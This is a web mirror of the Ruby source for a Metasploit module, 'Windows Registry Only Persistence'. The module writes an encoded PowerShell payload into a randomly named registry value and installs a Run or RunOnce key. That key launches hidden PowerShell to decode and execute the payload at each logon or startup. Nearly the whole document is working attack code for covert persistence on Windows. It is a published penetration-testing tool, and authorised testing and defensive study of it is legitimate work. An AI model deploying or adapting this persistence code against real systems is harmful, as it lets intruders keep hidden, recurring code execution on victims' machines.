Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/persistence/registry.rb
32894 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Powershell
10
include Msf::Post::Windows::Registry
11
include Msf::Post::File
12
include Msf::Exploit::Local::Persistence
13
prepend Msf::Exploit::Remote::AutoCheck
14
include Msf::Exploit::Deprecated
15
moved_from 'exploits/windows/local/registry_persistence'
16
17
def initialize(info = {})
18
super(
19
update_info(
20
info,
21
'Name' => 'Windows Registry Only Persistence',
22
'Description' => %q{
23
This module will install a payload that is executed during boot.
24
It will be executed either at user logon or system startup via the registry
25
value in "CurrentVersion\Run" or "RunOnce" (depending on privilege and selected method).
26
The payload will be installed completely in registry.
27
},
28
'License' => MSF_LICENSE,
29
'Author' => [
30
'Donny Maasland <donny.maasland[at]fox-it.com>', # original module
31
'h00die',
32
],
33
'Platform' => [ 'win' ],
34
'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
35
'SessionTypes' => [ 'meterpreter', 'shell' ],
36
'Targets' => [
37
[ 'Automatic', {} ]
38
],
39
'References' => [
40
['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],
41
['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],
42
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
43
['URL', 'https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys'],
44
['URL', 'https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/']
45
],
46
'DefaultTarget' => 0,
47
'DisclosureDate' => '2015-07-01',
48
'Notes' => {
49
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
50
'Stability' => [CRASH_SAFE],
51
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
52
}
53
)
54
)
55
56
register_options([
57
OptEnum.new('STARTUP',
58
[true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM']]),
59
OptString.new('BLOB_REG_KEY',
60
[false, 'The registry key to use for storing the payload blob. (Default: random)' ]),
61
OptString.new('BLOB_REG_NAME',
62
[false, 'The name to use for storing the payload blob. (Default: random)' ]),
63
OptString.new('RUN_NAME',
64
[false, 'The name to use for the \'Run\' key. (Default: random)' ]),
65
OptInt.new('SLEEP_TIME',
66
[false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]),
67
OptEnum.new('REG_KEY', [true, 'Registry Key To Install To', 'Run', %w[Run RunOnce]]),
68
])
69
end
70
71
def generate_payload_blob
72
opts = {
73
wrap_double_quotes: true,
74
encode_final_payload: true
75
}
76
cmd_psh_payload(payload.encoded, payload_instance.arch.first, opts).split(' ')[-1]
77
end
78
79
def generate_cmd(root_path, blob_key_name, blob_key_reg)
80
"%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
81
end
82
83
def generate_blob_reg
84
blob_reg_key = datastore['BLOB_REG_KEY'] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}"
85
blob_reg_name = datastore['BLOB_REG_NAME'] || Rex::Text.rand_text_alphanumeric(8)
86
return blob_reg_key, blob_reg_name
87
end
88
89
def generate_cmd_reg
90
datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8)
91
end
92
93
def install_blob(root_path, blob, blob_reg_key, blob_reg_name)
94
blob_reg_key = "#{root_path}\\#{blob_reg_key}"
95
new_key = false
96
if !registry_enumkeys(blob_reg_key)
97
unless registry_createkey(blob_reg_key)
98
fail_with(Failure::Unknown, "Failed to create key #{blob_reg_key}")
99
end
100
print_good("Created registry key #{blob_reg_key}")
101
new_key = true
102
end
103
104
unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, 'REG_SZ')
105
fail_with(Failure::Unknown, 'Failed to open the registry key for writing')
106
end
107
print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}")
108
return new_key
109
end
110
111
def regkey
112
datastore['REG_KEY']
113
end
114
115
def install_cmd(cmd, cmd_reg, root_path)
116
unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}", cmd_reg, cmd, 'REG_EXPAND_SZ')
117
fail_with(Failure::Unknown, 'Could not install run key')
118
end
119
print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{cmd_reg}")
120
end
121
122
def get_root_path
123
return 'HKCU' if datastore['STARTUP'] == 'USER'
124
125
'HKLM'
126
end
127
128
def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
129
@clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n"
130
if new_key
131
@clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n"
132
end
133
@clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}' -v '#{cmd_reg}'\n"
134
end
135
136
def check
137
return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\').include?('PowerShell')
138
139
vprint_good('Powershell detected on system')
140
141
# test write to see if we have access
142
root_path = get_root_path
143
rand = Rex::Text.rand_text_alphanumeric(15)
144
145
vprint_status("Checking registry write access to: #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")
146
return Msf::Exploit::CheckCode::Safe("Unable to write to registry path #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}") if registry_createkey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{rand}").nil?
147
148
registry_deletekey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")
149
150
Msf::Exploit::CheckCode::Vulnerable('Registry writable')
151
end
152
153
def install_persistence
154
print_status('Generating payload blob..')
155
blob = generate_payload_blob
156
print_good("Generated payload, #{blob.length} bytes")
157
158
root_path = get_root_path
159
print_status("Root path is #{root_path}")
160
161
blob_reg_key, blob_reg_name = generate_blob_reg
162
cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name)
163
cmd_reg = generate_cmd_reg
164
165
print_status('Installing payload blob..')
166
new_key = install_blob(root_path, blob, blob_reg_key, blob_reg_name)
167
168
print_status('Installing run key')
169
install_cmd(cmd, cmd_reg, root_path)
170
171
create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
172
end
173
end
174
175